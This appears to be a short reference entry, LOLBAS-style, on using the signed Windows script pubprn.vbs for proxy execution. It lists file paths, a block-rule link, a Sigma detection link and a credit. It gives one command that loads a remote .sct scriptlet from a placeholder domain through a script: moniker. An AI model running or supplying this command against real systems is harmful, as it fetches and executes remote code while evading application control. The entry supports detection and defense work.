Proxy execution with Pubprn.vbs
pubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct
Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection
Proxy execution
C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs, C:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs
BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules, Sigma: https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml
Matt Nelson (@enigma0x3)